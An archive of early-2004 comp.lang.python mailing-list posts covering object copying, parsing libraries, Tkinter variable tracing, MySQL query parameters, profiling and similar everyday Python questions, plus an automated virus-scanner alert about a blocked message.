References: <bvvprg$81b$1@news.rz.uni-karlsruhe.de>
Message-ID: <bvvrce$1q7$1@newshispeed.ch>

I do object copies this way:

import copy

a = A()
aa = copy.copy(a)

or

aa = copy.deepcopy(a)

You can wrap this up into a method of course, which then can decide whether
to do a deep copy or not.

HTH
Franz GEIGER


"Uwe Mayer" <merkosh at hadiko.de> schrieb im Newsbeitrag
news:bvvprg$81b$1 at news.rz.uni-karlsruhe.de...
> Hi,
>
> I want to create a copy of an object from out of its base class:
>
> class A(object):
>   def copy(self):
> ...
>
> class B(A):
> ...
>
> >>> b = B()
> >>> b.copy()
>
> I'm not sure how to do this:
>
> def copy(self):
>     cpy = self.__new__(self.__class__)
>     return cpy
>
> seems not to call the constructor __init__().
>
> How is such a thing done correctly? Where is the exact difference between
> __new__ and __init__?
>
>
> Thanks
> Uwe




From __peter__ at web.de  Mon Feb 23 10:26:35 2004
From: __peter__ at web.de (Peter Otten)
Date: Mon, 23 Feb 2004 16:26:35 +0100
Subject: if statements with or w/o else statements
References: <c1cvan$80l$1@solaris.cc.vt.edu>
Message-ID: <c1d63c$bf0$00$1@news.t-online.com>

Bart Nessux wrote:

> Should an if statement have a corresponding else statement? Or, is it OK
> to have an if statement by itself. For completeness, it seems the two
> should be together, but from experience I know that a if statement by
> itself works just fine. Below is an example:
> 
> if x >=0:
>     DO SOMETHING
> 
> Would it be better, or perhaps more complete, written like this:
> 
> if x >=0:
>     DO SOMETHING
> else:
>     DO SOMETHING ELSE

No direct answer, but a good way to learn about this kind of questions is to
study real code, and the best way to learn from the masters would probably
be to look into the python library.

Now, from the pointless statistics department, a little script that counts
occurences of both if and if...else:

<ifstats.py>
#!/usr/bin/env python
""" Analyse if statements in python scripts
"""
__author__ = "Peter Otten"
__category__ = "Pointless statistics"

import compiler

class IfStats:
    def __init__(self):
            self.total = 0
            self.withElse = 0
    def __str__(self):
            return "%d of %d if statements have an else branch" %
(self.withElse, self.total)
    def visitIf(self, node):
            self.total += 1
            if node.else_:
                    self.withElse += 1

if __name__ == "__main__":
    import os, sys, optparse
    parser = optparse.OptionParser(
        usage="usage: \%ifstats [-v] [-r] folder1 ... folderN",
        description="scan python scripts for if statements with or without
else branch")
    parser.add_option("-v", "--verbose", action="store_true",
        help="print info about every processed file")
    parser.add_option("-r", "--recursive", action="store_true",
        help="recursively collect files")
    options, args = parser.parse_args()

    totalFiles = 0
    totalIf = 0
    totalWithElse = 0
    failed = 0
    for root in args:
        for path, folders, files in os.walk(root):
            for fn in files:
                if fn.endswith(".py"):
                    fp = os.path.join(path, fn)
                    try:
                        a = compiler.parseFile(fp)
                    except:
                        failed += 1
                        print >> sys.stderr, "%s --> FAILED" % fp
                    else:
                        stats = IfStats()
                        compiler.walk(a, stats)
                        if options.verbose:
                            print "%s --> %s" % (fp, stats)
                        else:
                            sys.stdout.write(".")
                            sys.stdout.flush()
                        totalIf += stats.total
                        totalWithElse += stats.withElse
                        totalFiles += 1
            if not options.recursive: break
    print
    print "%d of %d if statements with else branch" % (totalWithElse,
totalIf)
    print "in %d files" % totalFiles
    if failed:
        print "parsing failed for %d files" % failed
</ifstats.py>

It turns out that only 2039 of 11157 if statements in the standard library
have an else branch. Now draw your own conclusions...

Peter



From tjreedy at udel.edu  Sat Feb  7 23:11:07 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Sat, 7 Feb 2004 23:11:07 -0500
Subject: How to make a Gaussian Fit?
References: <40258ecd$0$16818$a729d347@news.telepac.pt>
Message-ID: <c04css$64n$1@sea.gmane.org>


"Xcal" <paxcalpt at sapo.pt> wrote in message
news:40258ecd$0$16818$a729d347 at news.telepac.pt...
> Anyone knows how to make a Gaussian fit to a histogram data using Python,
or
> where I can find a library that helps me in this task?

The standard way to fit Guassian distributions to data is to match mean and
standard deviation.  Take a look in some statistics texts.

TJR






From mail at cleatorwilson.co.im  Sun Feb 22 23:36:16 2004
From: mail at cleatorwilson.co.im (ciw42)
Date: Sun, 22 Feb 2004 22:36:16 -0600
Subject: Portable apps in python
References: <aq1_b.9700$xm4.599169@phobos.telenet-ops.be>
	<mailman.166.1077468256.27104.python-list@python.org>
Message-ID: <e07b8e76d66e37dd0aa29c2ee36afb51@localhost.talkaboutprogramming.com>

Hi Koen,

Recently wrote a full point-of-sale (till) application in Python/wxPython to run on Windows, and aside from a few fiddly areas (mostly due to the fact I was fighting the way Windows wants to do things - the app needed to be able to work entirely from a keyboard, mouse, touch-screen or any combination) it was a breeze. I've only been programming in Python for a month now after years of Delphi, and to be fair, the application was just a re-write of a 75% finished Delphi version, so all the design had been completed in advance.

For printing, you'll find that most POS printers use serial interfaces (our client already had the hardware) so I downloaded and used the Serial library (PySerial) and Epsom printer programming manual. Using these, it only took an hour to put together routines to print receipts and invoices, open the till drawer (they're usually linked into the back of the receipt printer) and automatically cut receipts. If you need to use parallel printers, there's an equivalent library for those too.

The software is actually running live on a client site, and they're very happy with it. I'd say that's a good indication of both the stability and speed of development possible using the Python/wxPython combination.

In terms of portability, I took care to only use libraries which were cross platform, and whilst I've not fully tested it, the application seems to run fine on my SuSE v9.0 machine. The only minor problem is that the main window doesn't automatically maximize to fill the screen, but I knew this would be the case from reading the wxWindows documentation.

As the client platform was Windows with a Linux server running MySQL, and the project deadline was tight, I actually developed the software on a Windows XP machine. I'd recommend always developing on the target platform, as there's nothing worse than finding a fundamental target platform specific problem late on in a project, and it's often the platform specific bits that take the time to learn when using new libraries.

Regards,


Chris



From jcarlson at nospam.uci.edu  Wed Feb 25 16:49:56 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Wed, 25 Feb 2004 13:49:56 -0800
Subject: Python Profiler Trouble
In-Reply-To: <c1gkum$2mh$1@news01.intel.com>
References: <c1gkum$2mh$1@news01.intel.com>
Message-ID: <c1j5f4$m55$1@news.service.uci.edu>

> Is this because I'm hitting ^C before it finishes?  Do I have to let the
> program run to completion to get good results?  Since I don't want to wait
> the many hours (or even many days) for this profiling info, is there a
> better way that I can profile portions of the this large test case rapidly?

Use a smaller test case.
Profile smaller portions of the internals one at a time:

def funct():
     funct1()
     funct2()
     funct3()

becomes

def funct():
     profile('funct1()')
     profile('funct2()')
     profile('funct3()')

 From here you should be able to figure the rest out.

  - Josiah


From nospam at nowhere.hu  Sun Feb  1 14:47:28 2004
From: nospam at nowhere.hu (Miklós)
Date: Sun, 1 Feb 2004 20:47:28 +0100
Subject: Software patents [was: Re: Programmers Wanted..]
References: <2da21d6c.0401310807.671be3b7@posting.google.com>
	<bvh1eq$jjr$1@namru.matavnet.hu>
	<2da21d6c.0401311702.1fd5c019@posting.google.com>
Message-ID: <bvjoej$m9i$1@namru.matavnet.hu>

Well, I don't have a hostile stance against software patents per se.
However I have yet to see a single case when I see a software patent as
justified.
You know about the "progress bar" case, don't you?
I think real innovations are of mathematical nature. And mathematics (or
science) cannot/mustn't
be patented.

Fake, business motivated patents jeopardize will the whole IT industry, at
least in the States.
Fortunately the fight against software patents seem to show some success in
the European Union. :)

Best,
 Mikl?s


"Stan Schwartz" <CGStartup at earthlink.net> wrote in message
news:2da21d6c.0401311702.1fd5c019 at posting.google.com...
> "Mikl?s" <nospam at nowhere.hu> wrote in message
news:<bvh1eq$jjr$1 at namru.matavnet.hu>...
> > Software patents are evil.
> > Hell to them.
>
> At one point I would have agreed with you, and I
> agree that a fair number of software patents unfairly
> take credit for work that was already in the public
> domain.  Do you think patents are ever justified?
> Stan










From donn at drizzle.com  Thu Feb  5 23:07:37 2004
From: donn at drizzle.com (Donn Cave)
Date: Fri, 06 Feb 2004 04:07:37 -0000
Subject: Python can't divide??!?!
References: <E1AonZY-0003kM-Tv.2004-02-05-17-45-53@tmailb1.svr.pol.co.uk>
	<LNBBLJKPBEHFEDALKOLCMEFCIMAB.tim.one@comcast.net>
	<mailman.1262.1076006562.12720.python-list@python.org>
Message-ID: <1076040454.940126@yasure>

It is indeed about the interactive interpreter and repr, but
the problem is repr, not the interpreter.

There isn't a better way than repr to display the result of
evaluating an expression, but unfortunately repr has also
been saddled with another agenda at times.  So whether the
`function that renders as a string for purposes like display
at the interpreter top level' (which is repr) should render
floats with quasi-full-precision or not, repr will do that
anyway.

	Donn Cave, donn at drizzle.com


From irmen at -NOSPAM-REMOVETHIS-xs4all.nl  Tue Feb 24 07:46:49 2004
From: irmen at -NOSPAM-REMOVETHIS-xs4all.nl (Irmen de Jong)
Date: Tue, 24 Feb 2004 13:46:49 +0100
Subject: TCP servers in Python - two processes want to use same port
In-Reply-To: <d32e694.0402240422.5b1720b0@posting.google.com>
References: <d32e694.0402230800.1f98c5f1@posting.google.com>
	<403A248D.47B51ECE@engcorp.com>
	<d32e694.0402240422.5b1720b0@posting.google.com>
Message-ID: <403b47b9$0$558$e4fe514c@news.xs4all.nl>

Pif Paf wrote:
>>As for the specific question about ways to kill the app that is listening
>>on a socket already: I think if you don't know which app it is, there
>>isn't a clean way to find out. 
> 
> 
> Clearly the operating system knows, so there should be a way to find out.

The OS knows a lot more than your user space applications, and that
is a good thing, for security reasons.

--Irmen


From skip at pobox.com  Mon Feb 23 17:55:35 2004
From: skip at pobox.com (Skip Montanaro)
Date: Mon, 23 Feb 2004 16:55:35 -0600
Subject: unicode and mysql
In-Reply-To: <c1dqen$d634$1@netnews.upenn.edu>
References: <c1dqen$d634$1@netnews.upenn.edu>
Message-ID: <16442.34023.48854.139678@montanaro.dyndns.org>


    Ilya> I'm having a problem inserting into a mysql database (its not the
    Ilya> mysql, its the encoding of the query sting), could someone point
    Ilya> me in the right direction. The code resembles the following:

    Ilya> text1=hdtext.encode("utf-8")  #this is acquired earlier in the script
    Ilya> string1="just testing"

    Ilya> #this first one would work fine
    Ilya> cursor.execute("insert into table1 (col1) values (%s)" %(text1))
    Ilya> #the next one works too
    Ilya> cursor.execute("insert into table1 (col2) values ('%s')" %(string1))

    Ilya> #however what i need to work is the following
    Ilya> cursor.execute("insert into table1 (col1,col2) values (%s,'%s')" 
    Ilya> % (text1,string1)

Let your database module (presumably MySQLdb) do the encoding for you:

    cursor.execute("insert into table1 (col1,col2) values (%s, %s)",
                   (text1, string1))

Skip



From claird at lairds.com  Sun Feb 29 19:18:26 2004
From: claird at lairds.com (Cameron Laird)
Date: Mon, 01 Mar 2004 00:18:26 -0000
Subject: Speed Comparison Perl Python & C
References: <c1t89m$a3u$1@solaris.cc.vt.edu>
	<du7y8qlahx9.fsf@lehtori.cc.tut.fi>
	<c1thrd$3ug$1@solaris.cc.vt.edu>
	<du7y8qlhbd1.fsf@amadeus.cc.tut.fi>
Message-ID: <10450aibai5gkc1@corp.supernews.com>

In article <du7y8qlhbd1.fsf at amadeus.cc.tut.fi>,
Ville Vainio  <ville at spammers.com> wrote:
			.
			.
			.
>query. Actually, Python code might even be faster in circumstances
>like these, because you can write more sensible algorithms w/o
>investing a week of debugging. So caching data in memory becomes more
>appealing.
			.
			.
			.
Yup; I'm now sufficiently arrogant/provocative/confident/experienced/...
to tell people to expect that their Python codings will be *faster* than
what they achieve with C.
-- 

Cameron Laird <claird at phaseit.net>
Business:  http://www.Phaseit.net


From dietrich at zdome.net  Thu Feb 12 19:12:24 2004
From: dietrich at zdome.net (Dietrich Epp)
Date: Thu, 12 Feb 2004 16:12:24 -0800
Subject: hex(id(...)) and negative id's, 6 questions
In-Reply-To: <20040210221250.GA20834@nl.linux.org>
References: <20040207103754.GA4145@nl.linux.org>
	<6DE50784-5A78-11D8-BC18-0003934ACDEC@zdome.net>
	<20040210221250.GA20834@nl.linux.org>
Message-ID: <4CEA7213-5DB9-11D8-BE43-0003934ACDEC@zdome.net>


On Feb 10, 2004, at 2:12 PM, Gerrit wrote:

> ...and the base class happens to define __repr__, which does not 
> include
> id(self). I want to be able to see in debugging code that a certain
> sprite at pos (x1, y1) at frame N is the same as a certain sprite at
> position (x2, y2) in frame M. id(self) seems ideal for that, until 
> these
> Warnings started (I now do abs(id(self)), which is ugly enough but gets
> rid of the warning).
>
> Any hints on getting this right? Parsing object.__repr__(self) is not
> the best solution either ;-)

abs(id(self)) is a kludge, it could theoretically result in two 
different objects appearing to be the same (but one object would have 
to be misaligned).  Try:

hex(id(self) & 0xFFFFFFFFL)

Personally, I think the handling of negative numbers as 32-bit strings 
got a little messed up now that Python complains when you try to print 
them in hexadecimal.  It would be nice if there were a format string 
for printing them that way, maybe there is?




From max at ucmg.com.ua.remove.it  Wed Feb 11 08:25:37 2004
From: max at ucmg.com.ua.remove.it (Max Ischenko)
Date: Wed, 11 Feb 2004 15:25:37 +0200
Subject: debugging python COM server
Message-ID: <c0dae2$j1s$1@hyppo.gu.net>


Hi,

I wrote a COM server in python to be used from ASP/IIS environment.
And I have very bad problem with it -- from time to time dllhost.exe 
goes to 100% CPU and hangs...only iisreset helps.

I wrote the test script that opens a bunch web sessions to IIS and 
reproduce this deadlock. The problem seems to be caused by some race 
condition in a COM destruction trace.

The hard part is that I have no idea how to debug this situation. I 
added a bunch of print stmts in my python code but they didn't help. May 
be it is a problem in win32com (or my usage of it) but I can't be sure.

Are there any tips or trick?

Your help is very appreciated.


From no.spam  Fri Feb 20 12:39:49 2004
From: no.spam (Christophe Delord)
Date: Fri, 20 Feb 2004 18:39:49 +0100
Subject: Parsing library for Python?
References: <c15fip$1epsru$1@ID-212335.news.uni-berlin.de>
Message-ID: <20040220183949.449c5764.no.spam@box>

On Fri, 20 Feb 2004 18:17:48 +0100, Viktor Rosenfeld wrote:

> Hi, 
> 
> I need to create a parser for a Python project, and I'd like to use
> process kinda like lex/yacc.  I've looked at various parsing packages
> online, but didn't find anything useful for me:
> 
> - PyLR seems promising but is for Python 1.5
> - Yappy seems promising, but I couldn't get it to work.  It doesn't
> even compile the main example in it's documentation
> - mxTexttools is way complicated.  I'd like something that I can give
> a BNF grammar to handle.
> 
> Is there a good parsing module for python that I missed?
> 
> TIA,
> Viktor

Have you seen this page :
http://www.python.org/sigs/parser-sig/



Christophe.


From michels at linmpi.mpg.de  Mon Feb 16 06:59:32 2004
From: michels at linmpi.mpg.de (Helmut Michels)
Date: Mon, 16 Feb 2004 12:59:32 +0100
Subject: [ANN] Data Plotting Library DISLIN 8.2
Message-ID: <4030B0A2.790CB63@linmpi.mpg.de>

I am pleased to announce version 8.2 of the data plotting software
DISLIN.

DISLIN is a high-level and easy to use plotting library for
displaying data as curves, bar graphs, pie charts, 3D-colour plots,
surfaces, contours and maps. Several output formats are supported
such as X11, VGA, PostScript, PDF, CGM, WMF, HPGL, TIFF, PNG, BMP
and SVG.

The software is available for several C, Fortran 77 and Fortran 90
compilers. Plotting extensions for the interpreting languages Perl,
Python and Java are also supported for the most operating systems.

DISLIN distributions and manuals in PDF, PostScript and HTML format are
available from the DISLIN Home Page

     http://www.dislin.de

and via FTP from the server

     ftp://ftp.gwdg.de/pub/grafik/dislin

 -------------------
  Helmut Michels
  Max-Planck-Institut fuer Aeronomie  Phone: +49 5556 979-334
  Max-Planck-Str. 2                   Fax  : +49 5556 979-240
  D-37191 Katlenburg-Lindau           Mail : michels at linmpi.mpg.de




From a.schmolck at gmx.net  Fri Feb 13 18:35:36 2004
From: a.schmolck at gmx.net (Alexander Schmolck)
Date: 13 Feb 2004 23:35:36 +0000
Subject: re.sub replacement text \-escapes woe
Message-ID: <yfsznbmh7sn.fsf@black132.ex.ac.uk>

Sorry if I missed something obvious, but how do you do this more
intelligently?

def escape(s):
    return re.sub(r'([${}\\])', r'\ \1', s).replace('\\ ', '\\')

'as


From Scott.Daniels at Acm.Org  Tue Feb 17 11:48:36 2004
From: Scott.Daniels at Acm.Org (Scott David Daniels)
Date: Tue, 17 Feb 2004 08:48:36 -0800
Subject: overriding method that returns base class object
In-Reply-To: <4031b079$0$199$75868355@news.frii.net>
References: <4031441c$0$202$75868355@news.frii.net>
	<4031481B.90B31C73@engcorp.com>
	<40315037$0$199$75868355@news.frii.net>
	<7xwu6mmm3v.fsf@ruckus.brouhaha.com>
	<4031b079$0$199$75868355@news.frii.net>
Message-ID: <40324f1d$1@nntp0.pdx.net>

Stuart McGraw wrote:
> "Paul Rubin" <http://phr.cx at NOSPAM.invalid> rote in message news:7xwu6mmm3v.fsf at ruckus.brouhaha.com...
 >>...
>>class B(A):
>>     def __init__(self, *args, **kwds):
>>       self.newprop = 99
>>       self.wrapped_A = A(*args, **kwds)
>>     def a(self):
>>       x = B()
>>       x.wrapped_A = A.a(self.wrapped_A)
>>       return     # I want x to be a B, i.e have b() and .newprop.
>>     def __getattr__(self, attr):
>>       # delegate all inherited operations to the wrapped A object
>>       return A.__getattr__(self.wrapped_A, attr)
>>
>>You might also be able to do something crazy, like change A's metaclass
>>so that its __new__ operation can make a B under certain circumstances.
> 
> Ahhhh....  I did not know about delegation.  I do now, thanks.
> A minor disadvantage is that, because I also delegate __setattr__
> all the instance variable have to be assigned in the form
> self.__dict__['var'], rather than self.var (as I discovered the hard 
> way).  Ugly, but I can live with it.  Thanks again.

If you can separate the names, you can do something like:

     class B(object):
         def __init__(self, *args, **kwargs):
             self._a = A(*args, **kwargs)
             self.newprop = 99
         def __setattr__(self, name, val):
             if name.startswith('_') or name == 'newprop':
                 self.__dict__[name] = val
             else:
                 setattr(self._a, name, val)
         def getattr(self, name):
             return getattr(self._a, name)

-- 
-Scott David Daniels
Scott.Daniels at Acm.Org


From harry.g.george at boeing.com  Mon Feb 23 02:55:08 2004
From: harry.g.george at boeing.com (Harry George)
Date: Mon, 23 Feb 2004 07:55:08 GMT
Subject: Typecasting
References: <mailman.198.1077534828.27104.python-list@python.org>
Message-ID: <xqxllmudycj.fsf@cola2.ca.boeing.com>

"Shah, Rajesh \(GE Consumer & Industrial\)" <Rajesh.Shah at ge.com> writes:

> Hi Everybody,
> 
> Can you guide me to convert string into Int datatype?
> (i.e. How can we convert string into int? like '555' into 555)
> 
> Thanks in advance.
> 
> ~Rajesh
> 

Others have answered with "int".  You should also wrap that with an
exception handler, because your string might not actually be a number.
 
   x=raw_input("Enter number")   #actually got "one"
   try:
       y=int(x)
   except ValueError:
       print 'Use numeric numbers, e.g., "123", not "one two three"'

Also, "typecast" usually means "the same bits, but interpreted a
different way".  E.g., reading an IEEE 32-bit float as an array of
bytes.

"Type coercion" means "convert the actual bits, so that the meaning is
similar but it is different in RAM".  This is used for string<->int,
int<->float, etc.

-- 
harry.g.george at boeing.com
6-6M21 BCA CompArch Design Engineering
Phone: (425) 342-0007


From jacek.generowicz at cern.ch  Thu Feb 26 03:49:22 2004
From: jacek.generowicz at cern.ch (Jacek Generowicz)
Date: 26 Feb 2004 09:49:22 +0100
Subject: Some language proposals.
References: <slrnc3mss6.pob.apardon@trout.vub.ac.be>
	<mailman.58.1077649530.8594.python-list@python.org>
	<tyfbrnno9e2.fsf@pcepsft001.cern.ch>
	<mailman.88.1077699734.8594.python-list@python.org>
	<tyf1xojnzwp.fsf@pcepsft001.cern.ch>
	<m34qtffidu.fsf@pc150.maths.bris.ac.uk>
	<tyfwu6bmfhx.fsf@pcepsft001.cern.ch>
	<mailman.126.1077730491.8594.python-list@python.org>
Message-ID: <tyfbrnmmdil.fsf@pcepsft001.cern.ch>

Paul Prescod <paul at prescod.net> writes:

> You've cleverly found one of the very few places where Python
> distinguishes between "true" functions and callable objects.

What bothers me more (I think, though I can't remember the exact
reasons why, right now, so maybe it's not that important), is that
Python distinguishes between "true" functions and "builtin" functions.

> I would argue that classes should distinguish between
> attributes-to-be-treated-as-methods and
> attributes-to-be-treated-as-just-attributes using something other than
> type.

Look again. They do. [Hint: descriptors]

> Consider the following program:
> 
> 
> class a:
>          pass
> 
> def func():
>          pass
> 
> lst = [1, 2, 3, "a", "b", "c", object(), lambda x:x ]
> 
> for x in lst:
>          a.b = x
>          assert a.b is x, "What???? %s"% x
>          print "Okay", x
> 
> Frankly I think it is unpythonic that a second after assignment to a.b
> the thing I get back is different than the thing I put in.

I do wish you'd run your examples through a Python interpreter before
posting them. The little bugs you include, really interfere with
trying to understand what your point is.

I suspect that what you are trying to demonstrate is this:

>>> for x in lst:
...     a.b = x
...     print a.b is x
... 
1
1
1
1
1
1
1
0

Though why you need 3 integers, and 3 strings, and a whole lot of line
noise to do it, escapes me.

[An I've stated in my followup to Michael, I have nothing else to say
about closures in Python.]


From claird at lairds.com  Sun Feb 22 18:28:41 2004
From: claird at lairds.com (Cameron Laird)
Date: Sun, 22 Feb 2004 23:28:41 -0000
Subject: Error in 2.2.1 Tkinter? (was: limiting text input in Tkinter
	Entry widget)
References: <4038d6c2$0$49821$1b2cd167@news.wanadoo.nl>
	<103ho4p6m98gs97@news.supernews.com>
	<103i0ij3hnd4n76@corp.supernews.com>
Message-ID: <103iep99nb0k9ed@corp.supernews.com>

In article <103i0ij3hnd4n76 at corp.supernews.com>, I wondered:
>  import Tkinter
>
>  root = Tkinter.Tk()
>
>  def validate(name, index, mode):
>    value = root.getvar(name)
>      # Truncate the entry text to its first four characters.
>    root.setvar(name, value[0:4])
>
>  my_variable = Tkinter.StringVar()
>  my_variable.trace_variable('w', validate)
>
>  my_entry = Tkinter.Entry(width = 4, textvariable = my_variable)
>  my_entry.pack()
>
>  Tkinter.mainloop
>In practice, one would likely encapsulate the "bookkeeping" in
>an object.
>
>The problem is that, when I run this example, Tkinter tosses the
>exception
>  TclError: can't read "PY_VAR0": no such variable
>This surprises me.  I'm *sure* I've done this before.  Before I
>dive into the distribution source code, is it obvious to anyone
>else what I'm missing?
			.
			.
			.
I should mention that
  import Tkinter

  root = Tkinter.Tk()

  def validate(name, index, mode):
    value = my_variable.get()
    my_variable.set(value[0:4])

  my_variable = Tkinter.StringVar()
  my_variable.trace('w', validate)

  my_entry = Tkinter.Entry(width = 4, textvariable = my_variable)
  my_entry.pack()

  Tkinter.mainloop
*does* model the desired behavior, and is easy enough to "objectify".
I still don't understand getvar() behavior, though.
-- 

Cameron Laird <claird at phaseit.net>
Business:  http://www.Phaseit.net


From pinard at iro.umontreal.ca  Mon Feb  9 15:50:53 2004
From: pinard at iro.umontreal.ca (=?iso-8859-1?Q?Fran=E7ois?= Pinard)
Date: Mon, 9 Feb 2004 15:50:53 -0500
Subject: converting base class instance to derived class instance
In-Reply-To: <20040209184900.GA32658@nl.linux.org>
References: <930ba99a.0401200413.5fae6fb9@posting.google.com>
	<100qm0soklj3439@news.supernews.com>
	<20040209150717.GA5975@titan.progiciels-bpi.ca>
	<20040209184900.GA32658@nl.linux.org>
Message-ID: <20040209205053.GA13010@titan.progiciels-bpi.ca>

[Gerrit]
> [Fran?ois Pinard]
> > By the way, what is a "heap type"?

> http://foldoc.doc.ic.ac.uk heap [...] 1. An area of memory [...]
> 2. A data structure [...]

Wow, Gerrit, I appreciate your effort in providing this comprehensive
answer (and am saving the reference to `foldoc', which looks useful).
My question was likely ambiguous, sorry.  Reading "heap type" in an
article written in the context of Python new-style classes, I wondered
if "heap type" did not refer to some classification of Python types
which I did not know, but should know.

> http://www.python.org/dev/doc/devel/lib/module-heapq.html

If you follow the `Theory' link from the page above, you might see that
I wrote this explanation.  The editor was kind above to push my name in
there :-). Not really that I expected it, it even surprised me.  On the
other hand, it officialises a tiny bit the fact that I much like Python!

-- 
Fran?ois Pinard   http://www.iro.umontreal.ca/~pinard



From mjackson at alumni.caltech.edu  Mon Feb 23 17:41:43 2004
From: mjackson at alumni.caltech.edu (Mark Jackson)
Date: 23 Feb 2004 22:41:43 GMT
Subject: Gripe: Use Ctrl-D (i.e. EOF) to exit
References: <mailman.0.1077567184.8594.python-list@python.org>
Message-ID: <c1dvj7$52o$1@news.wrc.xerox.com>

"Mike Maxwell" <maxwell at ldc.upenn.edu> writes:

> Why isn't there a command or function to drop out of Python??!!

from sys import exit
exit()

-- 
Mark Jackson - http://www.alumni.caltech.edu/~mjackson
	The *world* is arbitrary.  *Individuals* are either fair
	or unfair.  Which are you?	- Caulfield (Jef Mallett)




From bkc at Murkworks.com  Sat Feb 21 11:16:32 2004
From: bkc at Murkworks.com (Brad Clements)
Date: Sat, 21 Feb 2004 11:16:32 -0500
Subject: Parsing library for Python?
References: <c15fip$1epsru$1@ID-212335.news.uni-berlin.de>
Message-ID: <c1d53l$384$1@sea.gmane.org>

_
"Viktor Rosenfeld" <rosenfel at informatik.hu-berlin.de> wrote in message
news:c15fip$1epsru$1 at ID-212335.news.uni-berlin.de...
> Hi,
>
> I need to create a parser for a Python project, and I'd like to use
process
> kinda like lex/yacc.  I've looked at various parsing packages online, but
> didn't find anything useful for me:

You might also try

http://pyparsing.sourceforge.net









From NAIGIMSESRIMAIL at gims.com  Wed Feb 18 14:42:40 2004
From: NAIGIMSESRIMAIL at gims.com (GroupShield for Exchange (ESRIMAIL))
Date: Wed, 18 Feb 2004 21:42:40 +0200
Subject: ALERT -  GroupShield ticket number OB6_1077133355_ESRIMAIL_3 was 
	generated
Message-ID: <B06B8FEF47ACD7119E720040F428459102124975@ESRIMAIL>

Action Taken:
The message was blocked because of its subject.

To:
python-list at python.org <python-list at python.org>

From:
Marc Boeren <M.Boeren at guidance.nl>

Sent:
1540906496,29619799

Subject:
RE: Hello World with pywin

Attachment Details:-

Attachment Name: N/A
File: Infected.msg
Infected? No
Repaired? No
Blocked? Yes
Deleted? No
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From antonmuhin at rambler.ru  Fri Feb 13 10:58:53 2004
From: antonmuhin at rambler.ru (anton muhin)
Date: Fri, 13 Feb 2004 18:58:53 +0300
Subject: Question: spawn and redirection
In-Reply-To: <cd738c650dfb5e3784c0a662fdc8c53e@news.meganetnews.com>
References: <cd738c650dfb5e3784c0a662fdc8c53e@news.meganetnews.com>
Message-ID: <c0isfb$17opvv$1@ID-217427.news.uni-berlin.de>

Ladv?nszky K?roly wrote:
> On Windows, what is the proper way to spawn an executable and redirect its
> stdout and stderr.
> Thanks for any help,
> 
> K?roly
> 
> 


os.spawnv(os.P_NOWAIT, r'c:\WINNT\system32\cmd.exe', ('/C dir > dir.txt',))

does a trick for me.

regards,
anton.


From kheymann-news03 at ecology.uni-kiel.de  Sat Feb 14 15:27:39 2004
From: kheymann-news03 at ecology.uni-kiel.de (Karsten Heymann)
Date: Sat, 14 Feb 2004 21:27:39 +0100
Subject: aalib-wrapper for python?
Message-ID: <3277809.Q4sl3hBVot@id-216798.user.uni-berlin.de>

Hello List,

Maybe someone can help me with some hobby project...

I'm currently searching for a way to convert photos to assci-art files ready
to print out, which means to a postscript or pdf file, which contains many
many letters in some non-proportional font which together look like the
photo. Currently I'm using 

  gimp (for looking up image size)
  gnumeric (for line length calculations)
  asciiview (load image and create ascii text from it)
  enscript (for conversion from text to ps). 

But that's cumbersome, so I'd love to put it all into an python script (as
python is my favourite scripting language:). Replacing gimp, gnumeric and
enscript is not a problem (thanks to pil and reportlab), but I couldn't
find a way to access aalibs funtionality from within python. Is there such
a wrapper or do I have to write ony myself? I'm not a C expert so I'd love
to avoid that. And can anyone estimate how much work it would be?

Maybe it helps if I tell you more precisely I want to do in that script:

 - load image with pil and get its size
 - for a chosen font (let's say courier 5) calculate how many characters
   fit onto a sheet of paper (let's say with size a4) horizontally and
   vertically
 - from that and the images aspect ration calculate line length and number 
   of lines of the resulting ascii image
 - feed the image to aalib (I wonder how to do that) and get the ascii data
   back (tuple of strings?)
 - use reportlab to create an pdf file containing the ascii data centered to
   the middle (if line length or number of lines don't fill up the page
   completely)

And those I want to print out on quality paper and hang them on my wall :)

(May seem strange to you, but I like it! I've got the linux penguin on a a3
sheet of paper on my office's door and feel happy everytime I come to
work...)

Maybe someone has an idea on anything of the above. Any help or ideas would
be greatly appreciated!

Karsten


From aahz at pythoncraft.com  Wed Feb  4 14:18:27 2004
From: aahz at pythoncraft.com (Aahz)
Date: 4 Feb 2004 14:18:27 -0500
Subject: Best way to control assignment to attribute?
References: <246a4e07.0402040712.2cd34d65@posting.google.com>
	<XF9Ub.175053$6y6.3406052@bgtnsc05-news.ops.worldnet.att.net>
Message-ID: <bvrgi3$1n6$1@panix1.panix.com>

In article <XF9Ub.175053$6y6.3406052 at bgtnsc05-news.ops.worldnet.att.net>,
wes weston  <wweston at att.net> wrote:
>Frank Millman wrote:
>> 
>> I want to control the assignment of a value to an attribute. Instead
>> of allowing it to be changed directly, I want to enforce that a method
>> is called, which will perform the assignment subject to various
>> checks.
> 
>    See __slots__; not sure if there's a newer/better way.

You should be certain before even thinking of suggesting __slots__.
__slots__ is intended only to save memory; there are many problems with
using it if you don't know what you're doing.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"The joy of coding Python should be in seeing short, concise, readable
classes that express a lot of action in a small amount of clear code -- 
not in reams of trivial code that bores the reader to death."  --GvR


From haim at babysnakes.org  Tue Feb 10 19:46:30 2004
From: haim at babysnakes.org (Haim Ashkenazi)
Date: Wed, 11 Feb 2004 02:46:30 +0200
Subject: compile pycrypto on windows
References: <mailman.1443.1076453557.12720.python-list@python.org>
	<86fzdizf9c.fsf@stronzo.brainbot.com>
Message-ID: <c0bu16$mmm$1@sea.gmane.org>

ralf at brainbot.com wrote:

> Haim Ashkenazi <haim at babysnakes.org> writes:
> 
>> Hi
>>
>> I'm trying to compile pycrypto on windows. I've installed mingw and try
>> to run the command 'python setup.py build -c mingw32 install' and I get
>> this error:
>>
>> $ python setup.py build -c mingw32 install
>> running build
>> running build_py
> [snip]
>> c:\mingw\bin\gcc.exe -mno-cygwin -shared -s
>> build\temp.win32-2.3\Release\sr \md2/o
>> build\temp.win32-2.3\Release\src\MD2.def -Lc:\Python23\libs -Lc
>> \Python23\PCBuild -lpython23 -o build\lib.win32-2.3\Crypto\Hash\MD2.pyd
>> build\temp.win32-2.3\Release\src\md2.o(.text+0x3e3):MD2.c: undefined
>> reference to `_imp___Py_NoneStruct'
>> build\temp.win32-2.3\Release\src\md2.o(.text+0x3eb):MD2.c: undefined
